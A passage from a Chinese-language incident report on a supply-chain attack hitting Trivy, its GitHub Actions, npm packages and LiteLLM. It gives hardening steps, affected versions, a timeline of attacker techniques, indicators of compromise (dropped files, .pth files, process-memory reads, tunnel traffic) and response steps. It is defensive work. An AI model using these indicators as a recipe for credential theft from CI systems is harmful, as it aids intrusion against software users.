class="list-paddingleft-1"><li><p><span leaf="">撤销旧令牌后，立即监控是否有使用尝试</span></p></li><li><p><span leaf="">考虑先创建新令牌再撤销旧令牌</span></p></li></ul><h3 data-line="161" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2. </span><strong><span leaf="">SHA 固定所有 GitHub Actions</span></strong></h3><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(212, 212, 212);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="162" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># ❌ 不安全</span></span><span leaf=""><br/></span><span style="color: rgb(255, 0, 0);"><span leaf="">uses:</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">aquasecurity/trivy-action@v0.35.0</span></span><span leaf=""><br/></span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># ✅ 安全</span></span><span leaf=""><br/></span><span style="color: rgb(255, 0, 0);"><span leaf="">uses:</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1</span></span></code></pre><h3 data-line="170" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3. </span><strong><span leaf="">启用提交签名验证</span></strong></h3><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">恶意提交是未签名的（原始提交是 GPG 签名的）</span></p></li></ul><h3 data-line="173" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">4. </span><strong><span leaf="">监控异常活动</span></strong></h3><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">突然的标签推送</span></p></li><li><p><span leaf="">非工作时间的提交</span></p></li><li><p><span leaf="">冒充知名贡献者的提交</span></p></li></ul><h3 data-line="178" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">5. </span><strong><span leaf="">使用短期上传令牌</span></strong></h3><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">PyPI 支持短期上传令牌而非长期 API token</span></p></li></ul><h2 data-line="181" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">📊 影响范围</span></h2><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">项目</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">受影响版本</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">暴露窗口</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">Trivy</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">v0.69.4</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">~3 小时</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">setup-trivy</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">v0.2.0-v0.2.6 (全部)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">~4 小时</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">trivy-action</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">76/77 标签</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">~12 小时</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">npm 包</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">28+ 包</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">&lt;60 秒传播</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">LiteLLM</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">1.82.7, 1.82.8</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">~3 小时</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">KICS</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">35 个版本</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">~4 小时</span></p></td></tr></tbody></table><h2 data-line="192" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">📈 攻击者技术演进</span></h2><h3 data-line="194" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">v1.0 (2026-02-27)</span></strong></h3><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">基本 Pwn Request 攻击</span></p></li><li><p><span leaf="">简单的凭证窃取</span></p></li></ul><h3 data-line="198" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">v2.0 (2026-03-19)</span></strong></h3><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">多仓库横向移动</span></p></li><li><p><span leaf="">供应链投毒</span></p></li><li><p><span leaf="">内存刮削技术</span></p></li></ul><h3 data-line="203" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">v3.0 (2026-03-20)</span></strong></h3><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">npm 蠕虫自我传播</span></p></li><li><p><span leaf="">ICP 基础设施</span></p></li><li><p><span leaf="">多阶段载荷</span></p></li></ul><h3 data-line="208" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">v3.3 (2026-03-22)</span></strong></h3><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">WAV 隐写术</span></p></li><li><p><span leaf="">Docker Hub 直接推送</span></p></li><li><p><span leaf="">跨生态系统攻击</span></p></li></ul><h2 data-line="213" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">🛡️ 检测与响应建议</span></h2><h3 data-line="215" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">检测指标</span></strong></h3><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p data-line="216" dir="auto" style="margin-top: 0px;margin-bottom: 0.7em;"><strong><span leaf="">网络流量</span></strong></p></li><ul style="margin-top: 0px;margin-bottom: 0.7em;" class="list-paddingleft-1"><li><p><span leaf="">到 typosquat 域名的出站连接</span></p></li><li><p><span leaf="">Cloudflare Tunnel 连接</span></p></li><li><p><span leaf="">ICP canister 通信</span></p></li></ul><li><p data-line="221" dir="auto" style="margin-top: 0px;margin-bottom: 0.7em;"><strong><span leaf="">文件系统</span></strong></p></li><ul style="margin-top: 0px;margin-bottom: 0.7em;" class="list-paddingleft-1"><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/tmp/tpcp.tar.gz</span></code><p><span leaf=""> 存在</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">~/.config/sysmon/sysmon.py</span></code><p><span leaf=""> 存在</span></p></li><li><p><span leaf="">异常的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.pth</span></code><span leaf=""> 文件</span></p></li></ul><li><p data-line="226" dir="auto" style="margin-top: 0px;margin-bottom: 0.7em;"><strong><span leaf="">进程行为</span></strong></p></li><ul style="margin-top: 0px;margin-bottom: 0.7em;" class="list-paddingleft-1"><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/proc/[pid]/mem</span></code><p><span leaf=""> 读取</span></p></li><li><p><span leaf="">异常的 Python 子进程生成</span></p></li></ul></ol><h3 data-line="230" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">响应步骤</span></strong></h3><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p data-line="231" dir="auto" style="margin-top: 0px;margin-bottom: 0.7em;"><strong><span leaf="">立即隔离</span></strong></p></li><ul style="margin-top: 0px;margin-bottom: 0.7em;" class="list-paddingleft-1"><li><p><span leaf="">断开受影响系统网络</span></p></li><li><p><span leaf="">冻结 CI/CD 流水线</span></p></li></ul><li><p data-line="235" dir="auto" style="margin-top: 0px;margin-bottom: 0.7em;"><strong><span leaf="">凭证轮换</span></strong></p></li><ul style="margin-top: 0px;margin-bottom: 0.7em;" class="list-paddingleft-1"><li><p><span leaf="">所有云凭证</span></p></li><li><p><span leaf="">SSH 密钥</span></p></li><li><p><span leaf="">API tokens</span></p></li><li><p><span leaf="">K8s service account tokens</span></p></li></ul><li><p data-line="241" dir="auto" style="margin-top: 0px;margin-bottom: 0.7em;"><strong><span leaf="">取证分析</span></strong></p></li><ul style="margin-top: 0px;margin-bottom: 0.7em;" class="list-paddingleft-1"><li><p><span leaf="">检查所有 Trivy 相关安装</span></p></li><li><p><span leaf="">审计 CI/CD 日志</span></p></li><li><p><span leaf="">扫描恶意提交</span></p></li></ul><li><p data-line="246" dir="auto" style="margin-top: 0px;margin-bottom: 0.7em;"><strong><span leaf="">通知与协调</span></strong></p></li><ul style="margin-top: 0px;margin-bottom: 0.7em;" class="list-paddingleft-1"><li><p><span leaf="">通知下游用户</span></p></li><li><p><span leaf="">协调包注册表删除恶意版本</span></p></li><li><p><span leaf="">发布安全公告</span></p></li></ul></ol><h2 data-line="251" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">🔗 相关资源</span></h2><ol style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">原始分析</span></strong><p><span leaf="">: <a href="https://ramimac.me/teampcp/" target="_blank">https://ramimac.me/teampcp/</a></span></p></li><li><strong><span leaf="">GitHub Issue</span></strong><p><span leaf="">: <a href="https://github.com/BerriAI/litellm/issues/24518" target="_blank">https://github.com/BerriAI/litellm/issues/24518</a></span></p></li><li><strong><span leaf="">Hacker News</span></strong><p><span leaf="">: <a href="https://news.ycombinator.com/item?id=47501729" target="_blank">https://news.ycombinator.com/item?id=47501729</a></span></p></li><li><strong><span leaf="">FutureSearch 博客</span></strong><p><span leaf="">: <a href="https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/" target="_blank">https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/</a></span></p></li></ol><h2 data-line="258" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 